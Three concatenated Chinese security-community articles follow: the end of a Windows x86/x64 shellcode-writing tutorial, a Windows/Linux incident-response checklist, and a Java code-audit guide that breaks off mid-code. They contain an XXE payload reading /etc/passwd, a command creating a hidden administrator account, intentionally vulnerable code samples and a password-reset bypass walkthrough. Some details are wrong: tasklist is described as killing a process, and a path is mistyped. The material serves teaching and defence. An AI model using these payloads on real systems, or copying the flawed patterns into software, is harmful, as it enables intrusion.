如图2-3所示，在NT可选头的偏移0x060处存储的是DataDirectory数组。该数组的第一个成员DataDirectory[0]位PE文件的导出表信息(EXPORT
Directory)，包括导出表的地址和大小(如图2-4)。
如图2-5所示，PE导出表中包含多个导出函数列表，NumberOfFunctions为DLL中导出函数的总数，NumberOfNames为具有函数名称的导出函数的总数，函数既可以用函数名方式导出，也可以用序号方式导出。下面详细介绍AddressOfFunctions、AddressOfNames与AddressOfNameOrdinals
3个列表。
**(1).AddressOfFunctions**
函数地址列表RVA(相对虚拟地址)，位于导出表偏移0x01c处。该列表包含全部导出函数入口的RVA。
**(2).AddressOfNames**
函数名称列表RVA，位于导出表偏移0x020处。该列表包含函数名称字符串的RVA。有名称的导出函数的名称字符串RVA都定义在这个表中，但是不是所有的导出函数都有名称，如图2-6所示，在urlmon.dll的导出表中，前4个函数均无名称。
**(3)AddressOfNameOrdinals**
函数索引列表的RVA，位于导出表偏移0x024处，该列表与函数名称列表中的项目一一对应，该列表的值代表函数名称列表中的函数在函数地址列表中的索引，这样就可以通过函数名称获取到函数的RVA。例如，函数名称列表的第n
项指向FunctionA，那么可以去查找函数索引列表中的第n 项，假如第n 项中存放的值是x，则表示函数地址表中的第x
项函数地址对应的就是FunctionA的地址。
至此可以得出由DLL的基址获取函数地址的方法。如图2-6所示，在DLL基址处存储的是PE文件的DOS头；在DOS头偏移0x03c处存储NT头的偏移，在NT头偏移0x18处存储的是NT可选头的地址；NT可选头的偏移0x60处存储的是DataDirectory数组，该数组的第一项是导出表信息结构体，包含导出表地址与大小；获取导出表的地址后，在偏移0x20处获取函数名列表的RVA，遍历函数名列表，与目标函数名FunctionA相比较，确定FunctionA在函数名列表中的索引NO.A，然后在函数索引列表中NO.A索引处获取目标函数在函数地址列表中的索引NO.A’，在函数地址列表的NO.A’索引处获取到的RVA就是FunctionA的RVA，将RVA与DLL基址相加即获得FunctionA的基址。
综上所述，kernel32.dll可以通过上述方法获取LoadLibrary与GetProcAddress函数地址。然后由LoadLibrary加载其他DLL并获取DLL在内存中的基址，同理可以获取其他函数地址。
不难发现获取函数地址有两种方法：一是直接根据DLL基址，通过上述在导出表中查找函数名的方法获取函数地址；二是通过上述方法获取kernel32.dll中的GetProcAddress方法，然后通过GetProcAddress获取函数地址。这两种方法各有优缺点：
**(1)方法一：由于直接对PE文件进行操作，不需要Windows API，通用性较好，但是生成的Shellcode较长。**
**(2)方法二：通过GetProcAddress函数获取函数地址，依赖于Windows API 通用性较低，但是生成的Shellcode较短。**
由于Shellcode最终是要放进缓冲区的，所以Shellcode的大小会影响其通用性。当Shellcode中涉及到的函数较多，一般在遍历导出表中的函数名列表时不会直接用函数名(如MessageBoxA)，首先会对函数名进行hash运算，在搜索时也需要对函数名列表中的函数名进行hash运算，然后比较hash所得的摘要。
如代码2-1所示，根据上述可以得出由DLL基址获取导出表基址的汇编代码。如代码2-2所示，由DLL导出表的基址获取具体函数的地址的汇编代码相对复杂，其原理与上述分析一致。
### 2.2 Windows x64 定位函数
Windows
x64与x86定位函数的基本原理与方法是一致的。如图2-8所示，存在的主要区别是导出表在NT可选头中的偏移不同。导出表中的各个字段的偏移都是一致的。由于在PE文件中的偏移地址是32位的，所以32位的获取函数地址的汇编代码2-2试用于Windows
x64。
## 三、函数调用
通过第一章与第二章的分析，在Windows x86和x64中定位函数地址后，通过指令call
即可调用函数。在Shellcode中还需要解决两个问题：参数传递与堆栈平衡。在Windows
x86中，函数调用约定采用stdcall方式，该方式的特点是：所有参数入栈，通过椎栈传递；二是被调用的函数负责栈指针esp的恢复。Windows
x86的函数调用本文不再详述，下面详细分析Windows x64函数调用的参数传递和堆栈平衡两个问题。
如图3-1所示，Windows
x64比x86增加了8个64位通用寄存器：R8、R9、R10、R11、R12、R13、R14、R15，另外还增加了8个128位XMM寄存器。x86中原有的寄存器在x64中均为扩展为64位，且名称的第一个字母从E改为R。仍可以在64位程序中调用32位的寄存器，如RAX（64位）、EAX（低32）、AX（低16位）、AL（低8位），相应的有R8、R8D、R8W和R8B。
Windows
x64下函数调用约定与x86的fastcall相似，使用寄存器传参递前四个参数，分别使用RCX、RDX、R8与R9传递，其他多余的参数使用堆栈传递。虽然前4个参数通过寄存器传递，仍然需要在堆栈中为其预留空间。
堆栈空间由函数调用者管理，程序不再是每经过一个call，堆栈就变化一次。而是在每一个call开头，先计算出所需要的堆栈总空间，然后一次分配全部的空间，到函数结束才全部释放。在调用其他函数时不会再次新建堆栈空间来存放参数，而是直接利用前面新建的空间来进行，入栈操作也从
push指令改为mov指令。所有的栈操作都通过rsp指针来完成，所以rsp在一个函数空间中的值不会变化。栈基指针寄存器ebp在x64中被弃用，只是作为一个普通寄存器使用，因此push
与 pop 这类会改变rsp值的指令是不能随便使用。
下面通过一个例子说明x64的参数传递与堆栈平衡这个问题。如图3-2所示，例子中定义一个函数add，该函数的功能是求和，共有6个参数。使用VS2008的x64平台编译生成可执行程序x64Test.exe。通过WinDbg
x64将x64Test.exe反编译，结果如图3-3和3-4所示。
如图3-2所示，在main函数中首先通过指令[sub rsp,48h]为main函数分配0x48个字节的堆栈空间，在mian函数结束时通过[add
rsp,48h]回收这48h的堆栈空间。分别通过rcx、rdx、r8与r9分别传递第1、2、3与4参数。如图3-5所示，堆栈前0x20
(32)个字节为前4个参数预留，接着就是第5和6个参数。在参数传递时还是按照从右至左的顺序。
如图3-4所示，在add函数开始时并没有重新分配堆栈空间，只是在栈顶处抬高了8个字节用于存储函数的返回地址(RIP)。如图3-5所示，add函数首先会把前4个参数入栈，由于栈顶指针已经被抬高8个字节，所以第一个参数rcx从[rsp
+ 8]处入栈，入栈顺序也是从右至左。在函数返回时不再需要通过[ret n]平衡堆栈了，因为堆栈没有变化。
值得一提的是栈需要16字节对齐，由于RCX、RDX、R8、R9四个寄存器预留是0x20个字节，但是call指令会入栈一个8字节的返回值(RIP)，所以函数开始时分配堆栈空间时需分配16n
+ 8个字节来平衡堆栈。
综上所述x64函数调用以下特点：
**(1)的前4个参数通过寄存器传递，其他通过堆栈传递** **。**
**(2) 函数调用者负责管理堆栈。**
**(3) 堆栈空间一次性分配与回收。**
**(4) 堆栈指针rsp不再变化，ebp被弃用，push与pop需慎用。不需要[ret n]平衡堆栈。**
**(5) 函数调用者需为寄存器参数预留堆栈空间。**
所以，在开发x64的shellcode时，不需要过多的关注堆栈的变化，只需在开始时分配足够的堆栈空间即可。
## 四、Shellcode编码
Shellcode编码是Shellcode开发的过程中不可缺少的部分，关系到Shellcode能否正确部署与运行。因为在很多漏洞利用场景中Shellcode的内容会受到一些限制。
**(1) 特殊字符**
有的漏洞场景要求在Shellcode中只能是可见字符的ASCII或Unicode；有的漏洞场景不能出现某些字符如NULL(0x00)，如在没有检查缓冲区大小时使用strcpy导致缓冲区溢出时，就不能将带有NULL的Shellcode拷贝进缓冲区。
**(2) Shellcode特征**
通过前三章的分析可知，Shellcode在定位kernel32.dll、定位函数等方面的代码相对固定，特征较明显，易被拦截。
可以通过编码的方法使Shellcode达到要求，但是需求将解码Shellcode的指令加到Shellcode的前面。在执行时，先执行解码指令，将Shellcode释放到指定内存位置，然后执行Shellcode指令。Shellcode编码技术在x86中已经成熟，而且x64与x86差别较小，本章不再详述。
## 五、总结
Windows x64与x86
Shellcode的原理与开发流程基本一致，但是在寄存器、地址偏移与函数调用等很多细节上还是存在较大差异。如果不能掌握这些细节，在开发与移植x64
Shellcode时会遇到很多问题。Shellcode的通用性和长度通常不能兼得，所以不要过度的追求其通用性。另外还有很多关于Shellcode的问题本文没有提到，如指令复用、Shellcode瘦身等。
## 参考
[1].
Windows下shellcode编写入门:<http://blog.csdn.net/x_nirvana/article/details/68921334>
[2]. Windows X64汇编入门:<http://bbs.pediy.com/thread-43967.htm>
[3]. Windows86与x64
Shellcode框架:<http://www.freebuf.com/articles/system/58920.html>
[4]. Windows x64 shellcode编写指南:<http://bobao.360.cn/learning/detail/3911.html>
[5]. DLL导出表结构:<http://blog.csdn.net/evi10r/article/details/7216467>
[6]. Windows x64汇编参数传递:<http://www.chinapyg.com/thread-75685-1-1.html>
[7]. Windows x86的LDR链:<http://blog.csdn.net/osreact/article/details/7738593>
[8]. PEB与TEB详解:<http://blog.csdn.net/osreact/article/details/7738593>
[9]. FS寄存器解析:<http://bbs.pediy.com/thread-192523.htm>
[10]. PEB数据解析:<http://www.longene.org/techdoc/0843755001224576754.html>
[11]. 0day安全软件漏洞分析技术.王清
[12]. 逆向工程核心原理.李承远 | 社区文章 |
# 排查分析
> 这段时间陆陆续续开始`hvv`，而这里就简单的介绍一下`hvv`中对应急响应中可能存在问题进行介绍和分析。
## windows排查分析
### 开机启动项
一般情况下，各个木马等恶意程序，都会在计算机开机的时候自动运行。
所以我们就需要排查一下windows中的开机启动项。
查看方法：
1.利用操作系统的启动菜单
`C:\Users\dell\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`
**dell为自己电脑的用户名**
2.利用系统配置`msconfig`
3.利用注册表`regedit`
`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`
### temp临时异常文件
temp（临时文件），是位于`C:\Users\dell\AppData\Local\Temp`
可以通过`%temp%`打开，用于收藏夹，浏览器的临时文件，编辑文件等等。
检查思路：因为该文件夹下面是有很高的权限对于登录用户，（写入文件等等），而我们检查的思路就是检查该文件夹下面是不是有异常的文件（`exe，dll，sys`）等等，或者是特别大的`temp`文件.
可以通过在线病毒分析网站进行分析，或者通过杀毒软件进行分析。
[病毒分析网址](https://www.virustotal.com/)
[temp文件夹介绍](https://www.rsa.com/en-us/blog/2017-04/why-malware-installers-use-tmp-files-and-the-temp-folder)
### 浏览器信息分析
这部分主要是，当攻击者拿下了服务器，并且需要通过访问自己的vps，来下载一下恶意程序，就可能是通过浏览器。而这部分就可能是存在游戏信息了，就可以通过浏览器的记录信息进行查看。
浏览器浏览痕迹查看，浏览器文件下载查看，查看浏览器的cookie等等
### 文件时间属性分析
在windows系统中,文件属性的时间属性具有：创建时间，修改时间，访问时间（默认情况下禁止）。默认情况下，计算机是以修改时间作为展示。
而一般黑客拿下了服务器，一般来说会修改时间来隐藏shell文件，而当黑客修改的时间早于文件创建的时间那么这个文件就有非常大的问题？？？（因为一般来说创建时间的最早的）
**通过查看文件属性可以查看到具体的时间** 、
### 最近打开文件分析
windows系统中默认记录系统中最近打开使用的文件信息，可以在目录`C:\Users\dell\Recent`下打开，或者`recent`打开。我们就可以查看一下最近打开的文件，如果一些黑客打开了一下文件并且忘记关闭就可能有留下信息。
### 进程分析
计算机与外部网络通信是建立在TCP/UDP协议上的，并且每一次通信都是具有不同的端口（0-65535）。如果计算机被木马了，肯定会与外部网络进行通信，那么此时就可以通过查看网络连接情况，找到对应的进程ID，然后关闭进程ID就可以关闭连接状态。
netstat -ano | find "ESTABLISHED" #寻找建立的连接
tasklist /svc | find "4836" #寻找pid=4836对应的程序
tasklist /PID id值 /T #关闭进程
### 系统信息windows计划任务
在计算机中可以通过设置计划任务，在固定的时间执行固定的操作。一般情况下，恶意代码也可能在固定的时间设置执行。
在windows之前的系统使用`at`命令对计划进行管理。
提示使用`schtasks.exe`或者使用图形化界面。
如果发现恶意的计划任务，应该删除。
### 系统信息隐藏账号发现与删除
隐藏账号是指黑客入侵了系统之后为了可以持续的保存于该计算机的访问，而在计算机系统中建立了不轻易被发现的计算机用户。
最简单的隐藏账号建立：
`net user test$ test /add && net localgroup administrator test$ /add`
**$就是隐藏用户的意思**
或者修改注册表，所以我们在检查的时候一定要所以图形化界面检查，并且检查用户信息的注册表。
### 恶意进程发现与改变
恶意程序在Windows系统中运行过程中，将以进程的方式展示，其中恶意进程执行着各个恶意行为。对于可执行程序，可以直接使用杀毒软件查杀，但是并非所有恶意程序都可以查杀，因此需要手工检查，或者使用其他的工具辅助。如果发现存在恶意程序，应立即将其改变。
### 系统信息补丁查看与更新
Windows系统支持补丁修复漏洞。可以通过`systeminfo`查看系统信息，并展示对应的漏洞补丁信息编号。也可以在卸载软件中查看系统补丁和第三方软件补丁。
hacker可以通过查看系统补丁情况来进行利用。
### 网站webshell查杀
『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护的方式防止网站和服务器给入侵,在正常运行各类网站的情况下，越少的功能，服务器越安全的理念而设计!
限制了常见的入侵方法，让服务器更安全!
<http://www.d99net.net/>
我们可以通过D盾_防火墙来对我们的网站进行查杀
## Linux排查分析
### 文件分析敏感文件信息
`/tmp目录`
黑客在攻击Linux系统中为了进行提权操作，需要有写入执行权限的文件夹，而在Linux中`/tmp`目录下就有这个功能，`/tmp`是一个特别的临时文件，每个用户都可以对其进行读写操作。
`/etc/init.d`目录中存放的是一系列系统服务的管理（启动与停止）脚本。而黑客很有可能在该目录下放了一下恶意代码和恶意程序。我们还有可以通过`stat`命令查看文件时间属性。
一般来说黑客入侵了服务器基本上会修改一些文件和代码来达到更好的利用。而我们检查的时候就需要去检查在一定时间修改的文件。
find ./ -mtime 0 -name "*.php"
#查看24小时内被修改的文件。
#0不是24小时 1表示48小时。。。
或者黑客会创建文件等等。
find ./ -ctime 3 -name "*.php"
#查看72小时内新增的文件
### 权限查看
在linux系统中，如果是777权限，那么该文件就非常可能是有问题。
因为这样黑客就可以非常操作。
find ./ -iname "*.php" -perm 777
#其中-iname忽略大小写，-perm 筛选权限
### 进程分析网络连接分析
一般来说黑客在攻击一个服务器的时候基本上会使用反弹shell，来建立tcp连接，而我们就需要分析网络连接进行查看是不是被黑客攻击了。
在linux系统中可以使用`netstat`查看网络连接。
`man netstat` 查看帮助文档
常用的命令`netstat -pantl`查看处于tcp网络套节字相关信息。
ESTABLISHED 表示建立了连接
LISTEN 表示监听状态
如果发现异常ip。应使用`kill -9 pid`关闭进程。而获得了PID就可以配合`ps`查看信息。使用`ps`查看进程信息。使用`ps aux|grep
PID`筛选具体的PID进程信息，`lsof -i :端口`也可以。
### 登录分析
在Linux系统中做的使用操作都记录到系统日志中，对于登录也可以查看日志文件信息，查看是否异常。（黑客可以异常登录我们的服务器）
last -i | grep -v 0.0.0.0
#筛选非本地登录
`w`命令实时登录查看
### 异常用户分析排查
一般黑客进入了系统会创建用户保证下次方便操作。
而在Linux系统中root用户是一个最高管理员，可以在linux上做任何事情。
新建用户 ：`useradd username`
设置密码：`passwd usernaem 输入密码`
当`/etc/passwd`有修改权限就可以修改`/etc/passwd`文件中的uid和gid等于0（root用户其uid和gid是为0）
所有我们就找要不要异常用户和异常用户的权限问题。
cat /etc/passwd
grep "0:0" /etc/passwd
ls -l /etc/passwd
awk -F: '$3==0{print $1}' /etc/passwd
awk -F: '$2=="!"{print $1}' /etc/passwd
awk -F: 'length($2)==0 {print $1}' /etc/shadow
在`/etc/shadow`文件中`！`表示空密码。
### 历史文件分析history
当黑客入侵了系统，肯定会执行一些命令，而这些命令就会记录到Linux系统中，我们就可以通过`/root/.bash_history`查看，或者直接使用`history`。
特别注意的时：黑客可以进行了wget（下载木马），ssh（连接内网主机），tar zip等命令（数据打包），系统配置等（命令修改 如：修改ps
netstat命令）
### 计划任务排查 crontab
在黑客拿下了系统，可能会写入一些计划任务进行利用。而这时候我们就可以查看计划任务来检查。
在linux 系统中可以使用crontab命令进行计划任务的设置。
`crontab -h`
特别注意计划任务中的未知的内容
### 开机自动项
在linux(debian)系统中`/etc/init.d/`目录下保存着开机自动启动的程序。
黑客可能在其中添加了一下恶意程序来利用。
用户可以直接使用`/etc/init.d/ 程序名 status`查看状态
使用`update-rc.d 程序名` disable 取消开机自动 enable是开启
### $PTAH变量异常
决定shell将到那个地方执行，PATH的值是一系列目录，当用户执行程序的时候，linux在那些目录下进行搜索编译链接，如ls cd等等
修改PATH `export PATH=$PATH:/usr/local/new/bin`，但是这样只能在本次有效果，系统重新启动就会失去效果。
解决方法就是在`/etc/profile`或`/home/.bashrc`(source ~/.bashrc)。
而我们就需要查看有没有异常的环境变量。
### 后门排查工具-rkhunter
`rkhunter`是一个自动的工具进行排查
安装：`apt install rkhunter`
具有的功能
* 系统命令的检测，md5校验
* rookit检测
* 本机敏感目录，系统配置异常检测
基本使用`rkhunter --check --sk`
## 总结
* 上面就大体上介绍了简单的应急响应的排查，还有其他很多需要关注的地方，比如说日志分析等等。
* 最后祝老表们hvv成功 | 社区文章 |
## JAVA代码审计的一些Tips(附脚本)
### 概述
本文重点介绍JAVA安全编码与代码审计基础知识，会以漏洞及安全编码示例的方式介绍JAVA代码中常见Web漏洞的形成及相应的修复方案，同时对一些常见的漏洞函数进行例举。文章最后分享一个自动化查找危险函数的python脚本。
### XXE
##### 介绍
XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。文档类型定义(DTD)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML
文档内声明，也可以外部引用。
* 内部声明DTD:
> <!DOCTYPE 根元素 [元素声明]>
* 引用外部DTD:
> <!DOCTYPE 根元素 SYSTEM "文件名">
当允许引用外部实体时，恶意攻击者即可构造恶意内容访问服务器资源,如读取passwd文件：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [
<!ENTITY test SYSTEM "file:///ect/passwd">]>
<msg>&test;</msg>
##### 漏洞示例
此处以org.dom4j.io.SAXReader为例,仅展示部分代码片段：
String xmldata = request.getParameter("data");
SAXReader sax=new SAXReader();//创建一个SAXReader对象
Document document=sax.read(new ByteArrayInputStream(xmldata.getBytes()));//获取document对象,如果文档无节点，则会抛出Exception提前结束
Element root=document.getRootElement();//获取根节点
List rowList = root.selectNodes("//msg");
Iterator<?> iter1 = rowList.iterator();
if (iter1.hasNext()) {
Element beanNode = (Element) iter1.next();
modelMap.put("success",true);
modelMap.put("resp",beanNode.getTextTrim());
}
...
##### 审计函数
XML解析一般在导入配置、数据传输接口等场景可能会用到，涉及到XML文件处理的场景可留意下XML解析器是否禁用外部实体，从而判断是否存在XXE。部分XML解析接口如下：
javax.xml.parsers.DocumentBuilder
javax.xml.stream.XMLStreamReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource
javax.xml.transform.TransformerFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
...
##### 修复方案
使用XML解析器时需要设置其属性，禁止使用外部实体，以上例中SAXReader为例，安全的使用方式如下:
sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
sax.setFeature("http://xml.org/sax/features/external-general-entities", false);
sax.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
其它XML解析器的安全使用可参考[OWASP XML External Entity (XXE) Prevention Cheat
Sheet](https://www.owasp.org/index.php/XML_External_Entity_\(XXE)_Prevention_Cheat_Sheet#Java)
### 反序列化漏洞
##### 介绍
序列化是让 Java 对象脱离 Java 运行环境的一种手段，可以有效的实现多平台之间的通信、对象持久化存储。
Java程序使用ObjectInputStream对象的readObject方法将反序列化数据转换为java对象。但当输入的反序列化的数据可被用户控制，那么攻击者即可通过构造恶意输入，让反序列化产生非预期的对象，在此过程中执行构造的任意代码。
##### 漏洞示例
漏洞代码示例如下：
......
//读取输入流,并转换对象
InputStream in=request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(in);
//恢复对象
ois.readObject();
ois.close();
上述代码中，程序读取输入流并将其反序列化为对象。此时可查看项目工程中是否引入可利用的commons-collections 3.1、commons-fileupload 1.3.1等第三方库，即可构造特定反序列化对象实现任意代码执行。相关三方库及利用工具可参考ysoserial、marshalsec。
##### 审计函数
反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘或DB存储等业务场景,在代码审计时可重点关注一些反序列化操作函数并判断输入是否可控，如下：
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
...
##### 修复方案
如果可以明确反序列化对象类的则可在反序列化时设置白名单，对于一些只提供接口的库则可使用黑名单设置不允许被反序列化类或者提供设置白名单的接口，可通过Hook函数resolveClass来校验反序列化的类从而实现白名单校验，示例如下：
public class AntObjectInputStream extends ObjectInputStream{
public AntObjectInputStream(InputStream inputStream)
throws IOException {
super(inputStream);
}
/**
* 只允许反序列化SerialObject class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {
if (!desc.getName().equals(SerialObject.class.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt",
desc.getName());
}
return super.resolveClass(desc);
}
}
也可以使用Apache Commons IO
Serialization包中的ValidatingObjectInputStream类的accept方法来实现反序列化类白/黑名单控制，如果使用的是第三方库则升级到最新版本。更多修复方案可参考[浅谈Java反序列化漏洞修复方案](https://xianzhi.aliyun.com/forum/topic/41/)。
### SSRF
##### 介绍
SSRF形成的原因大都是由于代码中提供了从其他服务器应用获取数据的功能但没有对目标地址做过滤与限制。比如从指定URL链接获取图片、下载等。
##### 漏洞示例
此处以HttpURLConnection为例，示例代码片段如下:
String url = request.getParameter("picurl");
StringBuffer response = new StringBuffer();
URL pic = new URL(url);
HttpURLConnection con = (HttpURLConnection) pic.openConnection();
con.setRequestMethod("GET");
con.setRequestProperty("User-Agent", "Mozilla/5.0");
BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
}
in.close();
modelMap.put("resp",response.toString());
return "getimg.htm";
##### 审计函数
程序中发起HTTP请求操作一般在获取远程图片、页面分享收藏等业务场景,在代码审计时可重点关注一些HTTP请求操作函数，如下：
HttpClient.execute
HttpClient.executeMethod
HttpURLConnection.connect
HttpURLConnection.getInputStream
URL.openStream
...
##### 修复方案
* 使用白名单校验HTTP请求url地址
* 避免将请求响应及错误信息返回给用户
* 禁用不需要的协议及限制请求端口,仅仅允许http和https请求等
### SQLi
##### 介绍
注入攻击的本质，是程序把用户输入的数据当做代码执行。这里有两个关键条件，第一是用户能够控制输入；第二是用户输入的数据被拼接到要执行的代码中从而被执行。sql注入漏洞则是程序将用户输入数据拼接到了sql语句中，从而攻击者即可构造、改变sql语义从而进行攻击。
##### 漏洞示例
此处以Mybatis框架为例，示例sql片段如下:
select * from books where id= ${id}
对于Mybatis框架下SQL注入漏洞的审计可参考[Mybatis框架下SQL注入漏洞面面观](https://mp.weixin.qq.com/s?__biz=MjM5OTk2MTMxOQ==&mid=2727827368&idx=1&sn=765d0835f0069b5145523c31e8229850&mpshare=1&scene=1&srcid=0926a6QC3pGbQ3Pznszb4n2q)
##### 修复方案
Mybatis框架SQL语句安全写法应使用#{},避免使用动态拼接形式\${}，ibatis则使用#变量#。安全写法如下:
select * from books where id= #{id}
### 文件上传漏洞
##### 介绍
文件上传过程中，通常因为未校验上传文件后缀类型，导致用户可上传jsp等一些webshell文件。代码审计时可重点关注对上传文件类型是否有足够安全的校验，以及是否限制文件大小等。
##### 漏洞示例
此处以MultipartFile为例，示例代码片段如下:
public String handleFileUpload(MultipartFile file){
String fileName = file.getOriginalFilename();
if (fileName==null) {
return "file is error";
}
String filePath = "/static/images/uploads/"+fileName;
if (!file.isEmpty()) {
try {
byte[] bytes = file.getBytes();
BufferedOutputStream stream =
new BufferedOutputStream(new FileOutputStream(new File(filePath)));
stream.write(bytes);
stream.close();
return "OK";
} catch (Exception e) {
return e.getMessage();
}
} else {
return "You failed to upload " + file.getOriginalFilename() + " because the file was empty.";
}
}
##### 审计函数
java程序中涉及到文件上传的函数，比如：
MultipartFile
...
##### 修复方案
* 使用白名单校验上传文件类型、大小限制
### Autobinding
##### 介绍
Autobinding-自动绑定漏洞，根据不同语言/框架，该漏洞有几个不同的叫法，如下：
* Mass Assignment: Ruby on Rails, NodeJS
* Autobinding: Spring MVC, ASP.NET MVC
* Object injection: PHP(对象注入、反序列化漏洞)
软件框架有时允许开发人员自动将HTTP请求参数绑定到程序代码变量或对象中，从而使开发人员更容易地使用该框架。这里攻击者就可以利用这种方法通过构造http请求，将请求参数绑定到对象上，当代码逻辑使用该对象参数时就可能产生一些不可预料的结果。
##### 漏洞示例
示例代码以[ZeroNights-HackQuest-2016](https://github.com/GrrrDog/ZeroNights-HackQuest-2016)的demo为例，把示例中的justiceleague程序运行起来，可以看到这个应用菜单栏有about，reg，Sign
up，Forgot password这4个页面组成。我们关注的点是密码找回功能，即怎么样绕过安全问题验证并找回密码。
1）首先看reset方法，把不影响代码逻辑的删掉。这样更简洁易懂：
@Controller
@SessionAttributes("user")
public class ResetPasswordController {
private UserService userService;
...
@RequestMapping(value = "/reset", method = RequestMethod.POST)
public String resetHandler(@RequestParam String username, Model model) {
User user = userService.findByName(username);
if (user == null) {
return "reset";
}
model.addAttribute("user", user);
return "redirect: resetQuestion";
}
这里从参数获取username并检查有没有这个用户，如果有则把这个user对象放到Model中。因为这个Controller使用了@SessionAttributes("user")，所以同时也会自动把user对象放到session中。然后跳转到resetQuestion密码找回安全问题校验页面。
2）resetQuestion密码找回安全问题校验页面有resetViewQuestionHandler这个方法展现
@RequestMapping(value = "/resetQuestion", method = RequestMethod.GET)
public String resetViewQuestionHandler(@ModelAttribute User user) {
logger.info("Welcome resetQuestion ! " + user);
return "resetQuestion";
}
这里使用了@ModelAttribute User
user，实际上这里是从session中获取user对象。但存在问题是如果在请求中添加user对象的成员变量时则会更改user对象对应成员的值。
所以当我们给resetQuestionHandler发送GET请求的时候可以添加“answer=hehe”参数，这样就可以给session中的对象赋值，将原本密码找回的安全问题答案修改成“hehe”。这样在最后一步校验安全问题时即可验证成功并找回密码
##### 审计函数
这种漏洞一般在比较多步骤的流程中出现，比如转账、找密等场景，也可重点留意几个注解如下：
@SessionAttributes
@ModelAttribute
...
更多信息可参考[Spring MVC
Autobinding漏洞实例初窥](https://xianzhi.aliyun.com/forum/topic/1089/)
##### 修复方案
Spring
MVC中可以使用@InitBinder注解，通过WebDataBinder的方法setAllowedFields、setDisallowedFields设置允许或不允许绑定的参数。
### URL重定向
##### 介绍
由于Web站点有时需要根据不同的逻辑将用户引向到不同的页面，如典型的登录接口就经常需要在认证成功之后将用户引导到登录之前的页面，整个过程中如果实现不好就可能导致URL重定向问题，攻击者构造恶意跳转的链接，可以向用户发起钓鱼攻击。
##### 漏洞示例
此处以Servlet的redirect 方式为例，示例代码片段如下:
String site = request.getParameter("url");
if(!site.isEmpty()){
response.sendRedirect(site);
}
##### 审计函数
java程序中URL重定向的方法均可留意是否对跳转地址进行校验、重定向函数如下：
sendRedirect
setHeader
forward
...
##### 修复方案
* 使用白名单校验重定向的url地址
* 给用户展示安全风险提示，并由用户再次确认是否跳转
### CSRF
##### 介绍
跨站请求伪造（Cross-Site Request
Forgery，CSRF）是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果，所以CSRF攻击主要用来执行动作，而非窃取用户数据。当受害者是一个普通用户时，CSRF可以实现在其不知情的情况下转移用户资金、发送邮件等操作；但是如果受害者是一个具有管理员权限的用户时CSRF则可能威胁到整个Web系统的安全。
##### 漏洞示例
由于开发人员对CSRF的了解不足，错把“经过认证的浏览器发起的请求”当成“经过认证的用户发起的请求”，当已认证的用户点击攻击者构造的恶意链接后就“被”执行了相应的操作。例如，一个博客删除文章是通过如下方式实现的：
GET http://blog.com/article/delete.jsp?id=102
当攻击者诱导用户点击下面的链接时，如果该用户登录博客网站的凭证尚未过期，那么他便在不知情的情况下删除了id为102的文章，简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。
##### 漏洞审计
此类漏洞一般都会在框架中解决修复，所以在审计csrf漏洞时。首先要熟悉框架对CSRF的防护方案，一般审计时可查看增删改请求重是否有token、formtoken等关键字以及是否有对请求的Referer有进行校验。手动测试时,如果有token等关键则替换token值为自定义值并重放请求，如果没有则替换请求Referer头为自定义链接或置空。重放请求看是否可以成功返回数据从而判断是否存在CSRF漏洞。
##### 修复方案
* Referer校验，对HTTP请求的Referer校验，如果请求Referer的地址不在允许的列表中，则拦截请求。
* Token校验，服务端生成随机token，并保存在本次会话cookie中，用户发起请求时附带token参数，服务端对该随机数进行校验。如果不正确则认为该请求为伪造请求拒绝该请求。
* Formtoken校验，Formtoken校验本身也是Token校验，只是在本次表单请求有效。
* 对于高安全性操作则可使用验证码、短信、密码等二次校验措施
* 增删改请求使用POST请求
### 命令执行
##### 介绍
由于业务需求，程序有可能要执行系统命令的功能，但如果执行的命令用户可控，业务上有没有做好限制，就可能出现命令执行漏洞。
##### 漏洞示例
此处以getRuntime为例，示例代码片段如下:
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
##### 审计函数
这种漏洞原理上很简单，重点是找到执行系统命令的函数，看命令是否可控。在一些特殊的业务场景是能判断出是否存在此类功能，这里举个典型的实例场景,有的程序功能需求提供网页截图功能，笔者见过多数是使用phantomjs实现，那势必是需要调用系统命令执行phantomjs并传参实现截图。而参数大多数情况下应该是当前url或其中获取相关参数，此时很有可能存在命令执行漏洞，还有一些其它比较特别的场景可自行脑洞。
java程序中执行系统命令的函数如下：
Runtime.exec
ProcessBuilder.start
GroovyShell.evaluate
...
##### 修复方案
* 避免命令用户可控
* 如需用户输入参数，则对用户输入做严格校验，如&&、|、;等
### 权限控制
##### 介绍
越权漏洞可以分为水平、垂直越权两种,程序在处理用户请求时未对用户的权限进行校验，使的用户可访问、操作其他相同角色用户的数据，这种情况是水平越权；如果低权限用户可访问、操作高权限用户则的数据，这种情况为垂直越权。
##### 漏洞示例
@RequestMapping(value="/getUserInfo",method = RequestMethod.GET)
public String getUserInfo(Model model, HttpServletRequest request) throws IOException {
String userid = request.getParameter("userid");
if(!userid.isEmpty()){
String info=userModel.getuserInfoByid(userid);
return info;
}
